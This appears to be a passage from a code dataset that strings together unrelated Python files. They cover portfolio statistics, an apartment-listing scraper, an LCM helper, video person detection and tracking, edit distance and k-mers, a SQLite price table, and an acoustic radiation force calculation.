range(5):\r\n factor = factor_list_2[j]\r\n factor_full = factor_full_name[j]\r\n Y = np.array(data[factor] ).T \r\n\r\n MODEL = regression.linear_model.OLS(Y, X).fit()\r\n\r\n data_p = data[factor]\r\n data_p_2 = data[factor]-data['RF']\r\n data_p_3 = data[factor]-data['MARKET']\r\n\r\n rm_rf_mean = RM_RF.mean()\r\n rf_mean = data['RF'].mean()\r\n\r\n output_3.loc['Average Returns',factor_full] = data_p.mean()\r\n output_3.loc['Std',factor_full] = np.std(data_p)\r\n output_3.loc['Sharpe Ratio',factor_full] = data_p_2.mean()/np.std(data_p)\r\n output_3.loc['Alpha',factor_full] = MODEL.params[0] \r\n output_3.loc['Beta',factor_full] = MODEL.params[1]\r\n output_3.loc['Treynor Ratio',factor_full] = data_p_2.mean()/MODEL.params[1]\r\n output_3.loc['Jensen Measure',factor_full] = data_p.mean()-rf_mean-MODEL.params[1]*rm_rf_mean\r\n output_3.loc['Information Ratio',factor_full] = data_p_3.mean()/np.std(data_p_3)\r\n \r\n output_combine.append(output_3)\r\n\r\n ### Statistics Summary\r\n print(output_combine[0])\r\n print(output_combine[1])\r\n print(output_combine[2])\r\n print(output_combine[3])\r\n print(output_combine[4])\r\n\r\n\r\n\r\n##############################################################################\r\n\r\nif __name__ == '__main__':\r\n main()","sub_path":"examples/portfolioManagement/EquallyWeighted.py","file_name":"EquallyWeighted.py","file_ext":"py","file_size_in_byte":26620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"491601902","text":"# -*- coding: utf-8 -*-\r\n\r\nimport requests\r\nimport pandas as pd\r\nfrom bs4 import BeautifulSoup\r\nlst_Price = []\r\nlst_Beds = []\r\nlst_Baths = []\r\nlst_Area = []\r\nlst_Street = []\r\nlst_City = []\r\nlst_Region = []\r\nlst_Zip = []\r\nlst_Pets = []\r\nfor index in range(100):\r\n try:\r\n page = requests.get('https://www.realtor.com/apartments/New-York_NY/pg-'+str(index))\r\n soup = BeautifulSoup(page.text, 'html.parser')\r\n except:\r\n print(\"Page retrieval issue\") \r\n \r\n for l in soup.findAll('li', { 'class' : 'component_property-card'}):\r\n try:\r\n lst_Price.append(l.find('span',{'class':'data-price'}).text)\r\n except:\r\n lst_Price.append(\"Data Not Found\")\r\n try: \r\n lst_Street.append(l.find('span',{'class':'listing-street-address'}).text)\r\n except:\r\n lst_Street.append(\"Data Not Found\")\r\n try:\r\n lst_City.append(l.find('span',{'class':'listing-city'}).text)\r\n except:\r\n lst_City.append(\"Data Not Found\")\r\n try:\r\n lst_Region.append(l.find('span',{'class':'listing-region'}).text)\r\n except:\r\n lst_Region.append(\"Data Not Found\")\r\n try:\r\n lst_Zip.append(l.find('span',{'class':'listing-postal'}).text)\r\n except:\r\n lst_Zip.append(\"Data Not Found\")\r\n try:\r\n lst_Beds.append(l.find('li',{'data-label':'property-meta-beds'}).text)\r\n except:\r\n lst_Beds.append(\"Data Not Found\")\r\n try:\r\n lst_Baths.append(l.find('li',{'data-label':'property-meta-baths'}).text)\r\n except:\r\n lst_Baths.append(\"Data Not Found\")\r\n try:\r\n lst_Area.append(l.find('li',{'data-label':'property-meta-sqft'}).text)\r\n except:\r\n lst_Area.append(\"Data Not Found\")\r\n try:\r\n lst_Pets.append(l.find('li',{'data-label':'property-meta-pets'}).text)\r\n except:\r\n lst_Pets.append(\"NO\")\r\n \r\n strt = [i.replace('\\n','') for i in lst_Street]\r\n new_street=[]\r\n for s in strt:\r\n new_street.append(s.lstrip())\r\n\r\n \r\ndf = pd.DataFrame({'Price':lst_Price,'Beds':lst_Beds,'Baths':lst_Baths,'Area':lst_Area,'Pets':lst_Pets,'Street':new_street,'City':lst_City,'Region':lst_Region,'Zip':lst_Zip})\r\ndf.to_csv('Apartments1.csv', index=False)\r\n","sub_path":"Scraping1.py","file_name":"Scraping1.py","file_ext":"py","file_size_in_byte":2359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"334528354","text":"#!/bin/python35\n\nimport euclidean_gcd\ndef lcm(a,b):\n '''\n This implementation find the Least Common Multiplier for two numbers by calculating the GCD and then dividing the product by the GCD\n \n Input:\n a,b - Two numbers for which we need the LCM\n Output:\n out - The integer value which corresponds to the LCM of a and b\n '''\n \n gcdiv = euclidean_gcd.euclideanGCD(a, b)\n prod = a*b\n out = prod//gcdiv\n return out\n","sub_path":"lcm.py","file_name":"lcm.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"49812683","text":"import youtube_dl\nimport json\nimport numpy as np\nimport cv2\nimport math\nimport object_detection_api\nimport tensorflow as tf\n\nargs = tf.app.flags.FLAGS\nif __name__ == '__main__':\n tf.app.flags.DEFINE_string('filename', None, 'input video filename')\n tf.app.flags.DEFINE_float('scaleFactor', 1.0, 'used to re-scale the video before processing')\n tf.app.flags.DEFINE_float('width', -1, 'if scale the video to this width manually')\n tf.app.flags.DEFINE_float('detectThreshold', 0.5, 'threshold used in detecting objects')\n tf.app.flags.DEFINE_float('searchThreshold', 0.25, 'threshold used in searching objects being tracked')\n tf.app.flags.DEFINE_string('outputFilename', None, 'output filename of the json ')\n tf.app.flags.DEFINE_bool('disalbeDisplay', False, 'for console terminal')\n tf.app.flags.DEFINE_bool('useTracker', False, 'tracking the person and output persons id')\n\nclass NumpyEncoder(json.JSONEncoder):\n \"\"\" Special json encoder for numpy types \"\"\"\n def default(self, obj):\n if isinstance(obj, (np.int_, np.intc, np.intp, np.int8,\n np.int16, np.int32, np.int64, np.uint8,\n np.uint16, np.uint32, np.uint64)):\n return int(obj)\n elif isinstance(obj, (np.float_, np.float16, np.float32,\n np.float64)):\n return float(obj)\n elif isinstance(obj,(np.ndarray,)): #### This is the fix\n return obj.tolist()\n return json.JSONEncoder.default(self, obj)\n\ndef rectArea(bbox):\n return (bbox[2] - bbox[0]) * (bbox[3] - bbox[1])\n\ndef overlappingRect(bbox1, bbox2):\n left = max(bbox1[0], bbox2[0])\n top = max(bbox1[1], bbox2[1])\n right = min(bbox1[2], bbox2[2])\n bottom = min(bbox1[3], bbox2[3])\n return (left, top, right, bottom)\n\ndef searchObject(bbox, className, validTrackers, bboxesTracker, classNamesTracker, threshold=0.5):\n areaOverlappingPercentageBest = 0\n result = -1\n for i in range(0, len(validTrackers)):\n if validTrackers[i]:\n bboxTracker = bboxesTracker[i]\n classNameTracker = classNamesTracker[i]\n\n if className == classNameTracker:\n area1 = rectArea(bbox)\n area2 = rectArea(bboxTracker)\n\n overlappingBBox = overlappingRect(bbox, bboxTracker)\n areaOverlapping = rectArea(overlappingBBox)\n\n areaOverlappingPercentageAvg = (areaOverlapping / area1 + areaOverlapping / area2) * 0.5\n\n if areaOverlappingPercentageAvg > areaOverlappingPercentageBest and \\\n areaOverlappingPercentageAvg > threshold:\n areaOverlappingPercentageBest = areaOverlappingPercentageAvg\n result = i\n return result\n\ndef runObjectDetection(filename, scaleFactor, width, detectThreshold, searchThreshold, outputFilename, disalbeDisplay, useTracker):\n cap = cv2.VideoCapture(filename)\n videoWidth = cap.get(cv2.CAP_PROP_FRAME_WIDTH)\n videoHeight = cap.get(cv2.CAP_PROP_FRAME_HEIGHT)\n frameRate = cap.get(cv2.CAP_PROP_FPS)\n\n if width > 0 and width < videoWidth:\n scaleFactor = float(width) / videoWidth\n\n resizeWidth = int(round(videoWidth * scaleFactor))\n resizeHeight = int(round(videoHeight * scaleFactor))\n\n if scaleFactor != 1.0:\n print('resize from [{}, {}] to [{}, {}]'.format(videoWidth, videoHeight, resizeWidth, resizeHeight))\n\n classificationInfo = []\n\n framesHavingHuman = []\n\n trackers = []\n bboxesTracker = []\n classNamesTracker = []\n lastDetectedFrame = []\n validTime = 1\n\n classesToTrack = ['person', 'pedestrian']\n\n trackerColor = [(255, 0, 0),\n (0, 255, 0),\n (0, 0, 255),\n (255, 255, 0),\n (0, 255, 255),\n (255, 0, 255),\n (255, 255, 255),\n (128, 0, 0),\n (0, 128, 0),\n (0, 0, 128),\n (128, 128, 0),\n (0, 128, 128),\n (128, 0, 128),\n (128, 128, 128)]\n\n #resultObjectDetection.append(framesHavingHuman)\n\n theApi = object_detection_api.ObjectDetectionApi()\n\n while(cap.isOpened()):\n frameIndex = int(cap.get(cv2.CAP_PROP_POS_FRAMES))\n ret, frame = cap.read()\n\n if not ret:\n break\n\n if scaleFactor != 1.0:\n frame = cv2.resize(frame, dsize=(resizeWidth, resizeHeight))\n\n if useTracker:\n validTrackers = []\n for i in range(0, len(trackers)):\n if trackers[i] != None:\n validTrackers.append(True)\n else:\n validTrackers.append(False)\n\n for i in range(0, len(trackers)):\n if trackers[i] != None:\n if frameIndex - lastDetectedFrame[i] < frameRate * validTime:\n success, rect = trackers[i].update(frame)\n if success:\n bboxesTracker[i] = (int(round(rect[0])),\n int(round(rect[1])),\n int(round(rect[0] + rect[2])),\n int(round(rect[1] + rect[3])))\n else:\n print('trackers[{}].update() failed'.format(i))\n trackers[i] = None\n else:\n validTrackers[i] = False\n print('trackers[{}] expired'.format(i))\n\n objects = theApi.getObjects(frame, detectThreshold)\n\n for object in objects:\n if object['class'] not in classesToTrack:\n continue\n\n x1 = int(round(object['x1'] * frame.shape[1]))\n y1 = int(round(object['y1'] * frame.shape[0]))\n x2 = int(round(object['x2'] * frame.shape[1]))\n y2 = int(round(object['y2'] * frame.shape[0]))\n\n if useTracker:\n objectId = searchObject((x1, y1, x2, y2), object['class'], validTrackers, bboxesTracker, classNamesTracker, searchThreshold)\n\n if objectId < 0:\n bboxesTracker.append((x1, y1, x2, y2))\n classNamesTracker.append(object['class'])\n lastDetectedFrame.append(frameIndex)\n\n tracker = cv2.TrackerKCF_create()\n tracker.init(frame, (x1, y1, x2-x1, y2-y1))\n trackers.append(tracker)\n objectId = len(trackers) - 1\n else:\n validTrackers[objectId] = False\n lastDetectedFrame[objectId] = frameIndex\n else:\n objectId = 0\n\n object['id'] = objectId\n\n cv2.rectangle(frame, (x1, y1), (x2, y2), (0, 255, 0), 1)\n #text = '{}, {}'.format(item['class'], int(round(item['score'] * 100)))\n #cv2.putText(frame, text, (x1, y1), cv2.FONT_HERSHEY_SIMPLEX,\n # int(math.ceil(scaleFactor)), (255, 255, 255), int(math.ceil(scaleFactor * 1.0)), cv2.LINE_AA)\n\n if useTracker:\n for i in range(0, len(trackers)):\n if trackers[i] != None and frameIndex - lastDetectedFrame[i] < frameRate * validTime:\n bboxTracker = bboxesTracker[i]\n classNameTracker = classNamesTracker[i]\n color = trackerColor[i%len(trackerColor)]\n cv2.rectangle(frame, (bboxTracker[0], bboxTracker[1]), (bboxTracker[2], bboxTracker[3]), color, 2)\n text = '{}'.format(i)\n cv2.putText(frame, text, (bboxTracker[0], bboxTracker[1] + 25), cv2.FONT_HERSHEY_SIMPLEX,\n int(math.ceil(scaleFactor)), color, int(math.ceil(scaleFactor * 2.0)), cv2.LINE_AA)\n\n persons = []\n for object in objects:\n if object['class'] in classesToTrack:\n object.pop('class', None)\n persons.append(object)\n\n if useTracker:\n for i in range(0, len(validTrackers)):\n if validTrackers[i]:\n persons.append(\n {\n 'score': detectThreshold,\n 'x1': float(bboxesTracker[i][0]) / videoWidth,\n 'y1': float(bboxesTracker[i][1]) / videoHeight,\n 'x2': float(bboxesTracker[i][2]) / videoWidth,\n 'y2': float(bboxesTracker[i][3]) / videoHeight,\n 'id': i\n }\n )\n\n if len(persons) > 0:\n framesHavingHuman.append(frameIndex)\n\n classificationInfo.append(\n {\n 'frame': frameIndex,\n 'persons': persons\n }\n )\n\n #classificationInfo.append(\n # {\n # 'frame': frameIndex,\n # 'objects': objects\n # }\n #)\n\n if not disalbeDisplay:\n fontSize = int(math.ceil(float(resizeWidth) / 960))\n cv2.putText(frame, str(frameIndex), (fontSize * 25, fontSize * 25), cv2.FONT_HERSHEY_SIMPLEX, fontSize, (128, 128, 128), fontSize, cv2.LINE_AA)\n\n cv2.imshow('frame', frame)\n cv2.waitKey(1)\n\n resultObjectDetection = {\n 'framesPoseTracking': framesHavingHuman,\n 'classificationInfo': classificationInfo\n }\n with open(outputFilename, 'w') as file:\n file.write(json.dumps(resultObjectDetection, cls=NumpyEncoder))\n\n cap.release()\n cv2.destroyAllWindows()\n\n\n\ndef main():\n filename = args.filename\n scaleFactor = args.scaleFactor\n width = args.width\n detectThreshold = args.detectThreshold\n searchThreshold = args.searchThreshold\n outputFilename = args.outputFilename\n disalbeDisplay = args.disalbeDisplay\n useTracker = args.useTracker\n\n runObjectDetection(filename, scaleFactor, width, detectThreshold, searchThreshold, outputFilename, disalbeDisplay, useTracker)\n\n\nif __name__ == '__main__':\n main()","sub_path":"research/ObjectDetectionModule.py","file_name":"ObjectDetectionModule.py","file_ext":"py","file_size_in_byte":10144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"118987623","text":"def editDistance(x, y):\n # Create distance matrix\n D = []\n for i in range(len(x)+1):\n D.append([0]*(len(y)+1))\n # Initialize first row and column of matrix\n for i in range(len(x)+1):\n D[i][0] = i\n for i in range(len(y)+1):\n D[0][i] = 0\n # Fill in the rest of the matrix\n \n for i in range(1, len(x)+1):\n for j in range(1, len(y)+1):\n distHor = D[i][j-1] + 1\n distVer = D[i-1][j] + 1\n if x[i-1] == y[j-1]:\n distDiag = D[i-1][j-1]\n else:\n distDiag = D[i-1][j-1] + 1\n D[i][j] = min(distHor, distVer, distDiag)\n # Edit distance is the value in the bottom right corner of the matrix\n #print D\n minValue = 9999999999999\n for i in range(len(y)+1):\n if D[len(x)][i] < minValue:\n #print D[len(x)][i]\n minValue = D[len(x)][i]\n #print minValue\n #print min(D[:-1][-1])\n #print D[-1][:len(y)+1]\n return min(D[-1][:len(y)+1])\n\ndef overlap(a, b, min_length=3):\n \"\"\" Return length of longest suffix of 'a' matching\n a prefix of 'b' that is at least 'min_length'\n characters long. If no such overlap exists,\n return 0. \"\"\"\n start = 0 # start all the way at the left\n while True:\n start = a.find(b[:min_length], start) # look for b's prefix in a\n if start == -1: # no more occurrences to right\n return 0\n # found occurrence; check for full suffix/prefix match\n if b.startswith(a[start:]):\n return len(a)-start\n start += 1 # move just past previous match\n\ndef createKmerDictionary(sequences, kmer_length=6):\n kmerDictionary = {}\n for name in sequences.keys():\n seq = sequences.get(name)\n for i in range(len(seq)-kmer_length+1):\n kmer = seq[i:i+kmer_length]\n if kmer in kmerDictionary:\n kmerDictionary.get(kmer).add(name)\n else:\n a=set()\n a.add(name)\n kmerDictionary[kmer] = a\n \n return kmerDictionary\n\n\n","sub_path":"week3/dynamicprog.py","file_name":"dynamicprog.py","file_ext":"py","file_size_in_byte":2084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"254762586","text":"import logging\nimport sqlite3\nimport os\n\nclass DBProducts:\n def __init__(self, logger: logging.Logger=None):\n self.logger = logger if logger is not None else logging.getLogger(\"db boobs class\")\n\n dir_db = os.path.abspath(os.curdir)\n self.conn = sqlite3.connect(f'{dir_db}/snowwhitebot.db')\n self.c = self.conn.cursor()\n\n sql = '''CREATE TABLE IF NOT EXISTS product_price (id integer primary key, product_id integer, price integer)'''\n self.c.execute(sql)\n self.conn.commit()\n\n def select_last_price_by_product_id(self, product_id):\n sql = '''SELECT price FROM product_price WHERE product_id = ? ORDER BY id DESC LIMIT 1'''\n try:\n self.c.execute(sql, (product_id,))\n self.conn.commit()\n return self.c.fetchone()\n except sqlite3.Error as e:\n print(type(e).__name__)\n print(\"Database error: %s\" % e)\n\n def update_price_by_product_id(self, product_id, price):\n sql = '''UPDATE product_price SET price = ? WHERE product_id = ?'''\n try:\n self.c.execute(sql, (price, product_id,))\n except sqlite3.Error as e:\n print(type(e).__name__)\n print(\"Database error: %s\" % e)\n","sub_path":"db/db_products.py","file_name":"db_products.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"220102983","text":"import math\nimport scipy\nimport scipy.special as special\nfrom os.path import join as pjoin\nimport scipy.io as sio\nfrom scipy.fftpack import fftn\nimport plotly.graph_objs as go\nimport numpy as np\nfrom plotly.subplots import make_subplots\nfrom scipy.special import factorial\n\n\nclass Object:\n def __init__(self, a=0.0005, rho=1125., c_l=2620., c_t=1080., k_l=0., k_t=0.):\n self.a = a\n self.rho = rho\n self.c_l = c_l\n self.c_t = c_t\n self.sigma = (c_l ** 2 / 2 - c_t ** 2) / (c_l ** 2 - c_t ** 2)\n self.k_l = k_l\n self.k_t = k_t\n\n\nclass Wave:\n def __init__(self, f=2.0e6, c=1500., rho=1000.):\n self.f = f\n self.c = c\n self.k = 2 * math.pi * f / c\n self.rho = rho\n\n\nclass Spectrum:\n def __init__(self, dx=0.00015, dk=0, Nx=0, Ny=0):\n self.dx = dx\n self.dk = dk\n self.Nx = Nx\n self.Ny = Ny\n\n\nclass Coordinates:\n def __init__(self, z=np.arange(-0.01, 0.0105, 0.0005), y=np.arange(-0.005, 0.0055, 0.0001), x=np.array([0.0]), z_surf=None):\n self.x = x\n self.y = y\n self.z = z\n self.N_points = x.shape[0] * y.shape[0] * z.shape[0]\n self.nx = x.shape[0]\n self.ny = y.shape[0]\n self.nz = z.shape[0]\n self.z_serf = z_surf\n\n\nclass Points:\n def __init__(self, coordinates, obj, wave, spectrum, path):\n self.coordinates = coordinates\n self.wave = wave\n self.obj = obj\n self.spectrum = spectrum\n self.obj.k_l = 2 * math.pi * self.wave.f / self.obj.c_l\n self.obj.k_t = 2 * math.pi * self.wave.f / self.obj.c_t\n self.n_global = 5 + int(np.ceil(self.wave.k * self.obj.a)); # 3 * int(np.ceil(self.wave.k * self.obj.a));\n self.n = np.arange(self.n_global + 1)\n self.path = path\n self.points = self.init_points()\n self.init_dif_bessel_kla()\n self.init_dif_bessel_kta()\n self.init_dif_bessel_ka()\n self.init_bessel()\n self.init_c_n()\n self.init_angle_spectrum()\n self.init_wave_number_space()\n self.init_spherical_legandre()\n\n def init_points(self):\n points = np.array(\n [[x, y, z] for x in self.coordinates.x for y in self.coordinates.y for z in self.coordinates.z])\n return points\n\n def init_dif_bessel_kla(self):\n self.dif_bessel_kla = self.n * (0. + 1j * 0.)\n self.dif2_bessel_kla = self.n * (0. + 1j * 0.)\n\n def init_dif_bessel_kta(self):\n self.dif_bessel_kta = self.n * (0. + 1j * 0.)\n self.dif2_bessel_kta = self.n * (0. + 1j * 0.)\n\n def init_dif_bessel_ka(self):\n self.dif_bessel_ka = self.n * (0. + 1j * 0.)\n self.dif2_bessel_ka = self.n * (0. + 1j * 0.)\n\n def init_bessel(self):\n self.sph_bessel_kla = scipy.special.spherical_jn(self.n, self.obj.k_l * self.obj.a)\n self.sph_bessel_kta = scipy.special.spherical_jn(self.n, self.obj.k_t * self.obj.a)\n self.sph_bessel_ka = scipy.special.spherical_jn(self.n, self.wave.k * self.obj.a)\n self.sph_hankel = scipy.special.spherical_jn(self.n,\n self.wave.k * self.obj.a) + 1j * scipy.special.spherical_yn(self.n,\n self.wave.k * self.obj.a)\n\n self.dif_hankel = self.n * (0. + 1j * 0.)\n\n self.dif_bessel_kla[0] = - self.sph_bessel_kla[1]\n self.dif_bessel_kta[0] = - self.sph_bessel_kta[1]\n self.dif_bessel_ka[0] = - self.sph_bessel_ka[1]\n self.dif_hankel[0] = - self.sph_hankel[1]\n\n for k in range(1, self.n_global + 1):\n self.dif_bessel_kla[k] = self.sph_bessel_kla[k - 1] - (k + 1) / (self.obj.k_l * self.obj.a) * \\\n self.sph_bessel_kla[k]\n if self.obj.k_t == 0:\n self.dif_bessel_kta[k] = self.sph_bessel_kta[k - 1]\n else:\n self.dif_bessel_kta[k] = self.sph_bessel_kta[k - 1] - (k + 1) / (self.obj.k_t * self.obj.a) * \\\n self.sph_bessel_kta[k]\n self.dif_bessel_ka[k] = self.sph_bessel_ka[k - 1] - (k + 1) / (self.wave.k * self.obj.a) * \\\n self.sph_bessel_ka[k]\n self.dif_hankel[k] = self.sph_hankel[k - 1] - (k + 1) / (self.wave.k * self.obj.a) * self.sph_hankel[k]\n\n for i in range(0, self.n_global):\n self.dif2_bessel_kla[i] = i / (2 * i + 1) * self.dif_bessel_kla[i - 1] - (i + 1) / (2 * i + 1) * \\\n self.dif_bessel_kla[i + 1]\n self.dif2_bessel_kta[i] = i / (2 * i + 1) * self.dif_bessel_kta[i - 1] - (i + 1) / (2 * i + 1) * \\\n self.dif_bessel_kta[i + 1]\n self.dif2_bessel_ka[i] = i / (2 * i + 1) * self.dif_bessel_ka[i - 1] - (i + 1) / (2 * i + 1) * \\\n self.dif_bessel_ka[i + 1]\n\n def init_c_n(self):\n alf = self.sph_bessel_kla - self.obj.k_l * self.obj.a * self.dif_bessel_kla\n bet = (self.n ** 2 + self.n - 2) * self.sph_bessel_kta + (self.obj.k_t * self.obj.a) ** 2 * self.dif2_bessel_kta\n delta = 2 * self.n * (self.n + 1) * self.sph_bessel_kta\n ksi = self.obj.k_l * self.obj.a * self.dif_bessel_kla\n nu = 2 * self.n * (self.n + 1) * (self.sph_bessel_kta - self.obj.k_t * self.obj.a * self.dif_bessel_kta)\n eps = self.obj.k_l ** 2 * self.obj.a ** 2 * (\n self.sph_bessel_kla * self.obj.sigma / (1 - 2 * self.obj.sigma) - self.dif2_bessel_kla)\n\n G = self.wave.rho * self.obj.k_t ** 2 * self.obj.a ** 2 / 2 / self.obj.rho * (alf * delta + bet * ksi) / (\n alf * nu + bet * eps)\n self.c_n = - (G * self.sph_bessel_ka - self.wave.k * self.obj.a * self.dif_bessel_ka) / (\n G * self.sph_hankel - self.wave.k * self.obj.a * self.dif_hankel)\n\n def load_file(self):\n mat_fname = pjoin(self.path)\n mat_contents = sio.loadmat(mat_fname)\n return mat_contents\n\n '''to do: spectrum'''\n\n def init_angle_spectrum(self):\n mat_contents = self.load_file()\n\n # keys = sorted(mat_contents.keys())\n keys = [key for key in mat_contents.keys() if key[0] != '_']\n pressure_field = mat_contents[keys[0]]\n angle_spectrum_0 = scipy.fftpack.fftshift(\n fftn(pressure_field, pressure_field.shape)) ###########################\n self.spectrum.Nx = angle_spectrum_0.shape[0]\n self.spectrum.Ny = angle_spectrum_0.shape[1]\n lin_l = (-1) ** np.arange(self.spectrum.Nx)\n lin_l = lin_l[:, np.newaxis]\n lin_m = lin_l.T\n lin_lm = lin_l @ lin_m\n self.angle_spectrum = angle_spectrum_0.conj() * lin_lm * (4 * np.pi ** 2) / self.spectrum.Nx ** 2\n\n '''to do: split arrays and angles'''\n\n def init_wave_number_space(self):\n if (-1) ** self.spectrum.Nx > 0:\n x_array = np.concatenate([np.arange(- self.spectrum.Nx / 2, self.spectrum.Nx / 2, 1)])\n elif (-1) ** self.spectrum.Nx < 0:\n x_array = np.concatenate([np.arange(- (self.spectrum.Nx - 1.) / 2, (self.spectrum.Nx - 1.) / 2 + 1, 1)])\n x_array = x_array[:, np.newaxis]\n x_array = self.spectrum.dx * x_array.astype(float)\n y_array = x_array.copy()\n y_array = y_array.T\n self.r_array = np.sqrt(x_array ** 2 + y_array ** 2)\n # self.r_array[0,0] = 1e-12\n\n self.spectrum.dk = 2 * math.pi / (self.spectrum.dx * (self.spectrum.Nx - 1))\n self.kx_array = self.spectrum.dk / self.spectrum.dx * x_array.copy() - 0 * self.spectrum.dk\n self.ky_array = self.spectrum.dk / self.spectrum.dx * y_array.copy() - 0 * self.spectrum.dk\n self.kr_array = np.sqrt(self.kx_array ** 2 + self.ky_array ** 2)\n self.k_window = 0.5 * (np.sign(self.wave.k - self.kr_array) + 1)\n\n kr2 = np.float_power(self.kr_array, 2)\n kr22 = (self.wave.k ** 2 - kr2) * self.k_window\n self.kz_array = np.float_power(kr22, 1 / 2)\n\n self.phi_k = (np.arctan2(self.kx_array, self.ky_array)) * self.k_window\n self.cos_th_k = np.float_power((1 - self.kr_array ** 2 / self.wave.k ** 2) * self.k_window, 0.5)\n self.th_k = np.arccos(self.cos_th_k) * self.k_window\n\n self.phi = (np.arctan2(x_array, y_array))\n self.cos_th = 0 * self.r_array\n self.th = np.arccos(self.cos_th)\n self.power = np.sum(np.sum(1 / 8 / np.pi ** 2 / self.wave.rho / self.wave.c * self.cos_th_k * np.abs(\n self.angle_spectrum) ** 2)) * self.spectrum.dk ** 2\n\n def calculate_spharm(self, n, m, Y_sph):\n if m >= 0:\n SP = Y_sph[n, m]\n elif m < 0:\n SP = np.conj(Y_sph[n, -m]) * (- 1) ** (- m)\n return SP\n\n ''' to do: вынести цикл в функцию'''\n\n def init_spherical_legandre(self):\n Nx = np.size(self.th_k, 0)\n Ny = np.size(self.th_k, 1)\n\n self.H_nm = np.zeros((self.n_global + 1, 2 * self.n_global + 1, self.coordinates.N_points)) * (0. + 1j * 0.)\n P = np.zeros((Nx, Ny)) * (0. + 1j * 0)\n Y_sph = P.copy()\n Kn = P.copy()\n\n for nn in range(0, self.n_global + 1):\n if (nn == 0):\n mm = 0\n K = ((2 * nn + 1) / 4 / math.pi * factorial(nn - mm, exact=True) / factorial(nn + mm, exact=True)) ** (\n 1 / 2)\n Kn = K * np.exp(1j * (mm * self.phi_k))\n P = scipy.special.lpmv(mm, nn, self.cos_th_k)\n Y_sph = P * Kn\n for glob_n in range(self.coordinates.N_points):\n phase_mult = np.exp(1j * self.kx_array * self.points[glob_n, 0] + 1j * self.ky_array * self.points[\n glob_n, 1] + 1j * self.kz_array * self.points[glob_n, 2])\n s_newpoint = phase_mult * self.angle_spectrum * self.k_window\n tmp = Y_sph.conj() * s_newpoint * self.spectrum.dk ** 2\n self.H_nm[0, 0, glob_n] = tmp.sum(axis=1).sum()\n else:\n for mm in range(0, nn + 1):\n K = ((2 * nn + 1) / 4 / math.pi * factorial(nn - mm, exact=True) / factorial(nn + mm,\n exact=True)) ** (1 / 2)\n Kn = K * np.exp(1j * (mm * self.phi_k))\n P = scipy.special.lpmv(mm, nn, self.cos_th_k)\n Y_sph_plus = P * Kn\n Y_sph_minus = (P * Kn).conj() * (-1) ** mm\n for glob_n in range(self.coordinates.N_points):\n if mm == 0:\n phase_mult = np.exp(\n 1j * self.kx_array * self.points[glob_n, 0] + 1j * self.ky_array * self.points[\n glob_n, 1] + 1j * self.kz_array * self.points[glob_n, 2])\n s_newpoint = phase_mult * self.angle_spectrum * self.k_window\n tmp_0 = Y_sph_plus.conj() * s_newpoint * self.spectrum.dk ** 2\n self.H_nm[nn, 0, glob_n] = tmp_0.sum(axis=1).sum()\n else:\n phase_mult = np.exp(\n 1j * self.kx_array * self.points[glob_n, 0] + 1j * self.ky_array * self.points[\n glob_n, 1] + 1j * self.kz_array * self.points[glob_n, 2])\n s_newpoint = phase_mult * self.angle_spectrum * self.k_window\n tmp_minus = Y_sph_minus.conj() * s_newpoint * self.spectrum.dk ** 2\n tmp_plus = Y_sph_plus.conj() * s_newpoint * self.spectrum.dk ** 2\n self.H_nm[nn, -mm, glob_n] = tmp_minus.sum(axis=1).sum()\n self.H_nm[nn, mm, glob_n] = tmp_plus.sum(axis=1).sum()\n\n def calculate_force(self):\n force = np.zeros((self.coordinates.N_points, 3)) * 1.0\n accuracy_z = np.zeros((self.coordinates.N_points, 1)) * 1.0\n Nx = np.size(self.th_k, 0)\n Ny = np.size(self.th_k, 1)\n # scat_p = np.zeros((self.coordinates.N_points, Nx, Ny)) * (1 + 1j)\n # p_newpoint = scat_p.copy()\n # H_nm = np.zeros((self.n_global + 1, 2 * self.n_global + 1, 1)) * (0. + 1j * 0.)\n\n for glob_n in range(self.coordinates.N_points): #\n f_nx = np.zeros((self.n_global, 1)) * (0. + 1j * 0.)\n f_ny = np.zeros((self.n_global, 1)) * (0. + 1j * 0.)\n f_nz = np.zeros((self.n_global, 1)) * (0. + 1j * 0.)\n force_x = 0.\n force_y = 0.\n force_z = 0.\n for nn in range(self.n_global):\n psi = (1 + 2 * self.c_n[nn]) * (1 + 2 * self.c_n[nn + 1].conj()) - 1\n f_x = np.zeros((2 * self.n_global + 1, 1)) * (0. + 1j * 0.)\n f_y = f_x.copy()\n f_z = f_x.copy()\n for mm in range(-nn, nn + 1):\n A_nm = np.sqrt((nn + mm + 1) * (nn + mm + 2) / (2 * nn + 1) / (2 * nn + 3))\n B_nm = np.sqrt((nn + mm + 1) * (nn - mm + 1) / (2 * nn + 1) / (2 * nn + 3))\n # print(B_nm)\n f_x[mm + nn] = A_nm * (\n self.H_nm[nn, mm, glob_n] * self.H_nm[nn + 1, mm + 1, glob_n].conj() - self.H_nm[\n nn, - mm, glob_n] * self.H_nm[nn + 1, - mm - 1, glob_n].conj())\n\n f_y[mm + nn] = A_nm * (\n self.H_nm[nn, mm, glob_n] * self.H_nm[nn + 1, mm + 1, glob_n].conj() + self.H_nm[\n nn, - mm, glob_n] * self.H_nm[nn + 1, - mm - 1, glob_n].conj())\n f_z[mm + nn] = B_nm * self.H_nm[nn, mm, glob_n] * self.H_nm[nn + 1, mm, glob_n].conj()\n f_nx[nn] = psi * f_x.sum()\n f_ny[nn] = psi * f_y.sum()\n f_nz[nn] = psi * f_z.sum()\n\n coef = 1 / 8 / math.pi ** 2 / self.wave.rho / self.wave.c ** 2 / self.wave.k ** 2\n force_x = f_nx.sum()\n force_x = coef * force_x.real\n force_y = f_ny.sum()\n force_y = coef * force_y.imag\n force_z = f_nz.sum()\n force_z_acc = f_nz[0:nn - 2].sum()\n accuracy_z[glob_n] = np.abs(force_z.real - force_z_acc.real) / force_z.real\n\n force_z = -2 * coef * force_z.real\n fz_sum = - np.real(2 * coef * f_nz.copy())\n\n force[glob_n] = [force_y, force_x, force_z] / self.power * self.wave.c\n return force\n\n 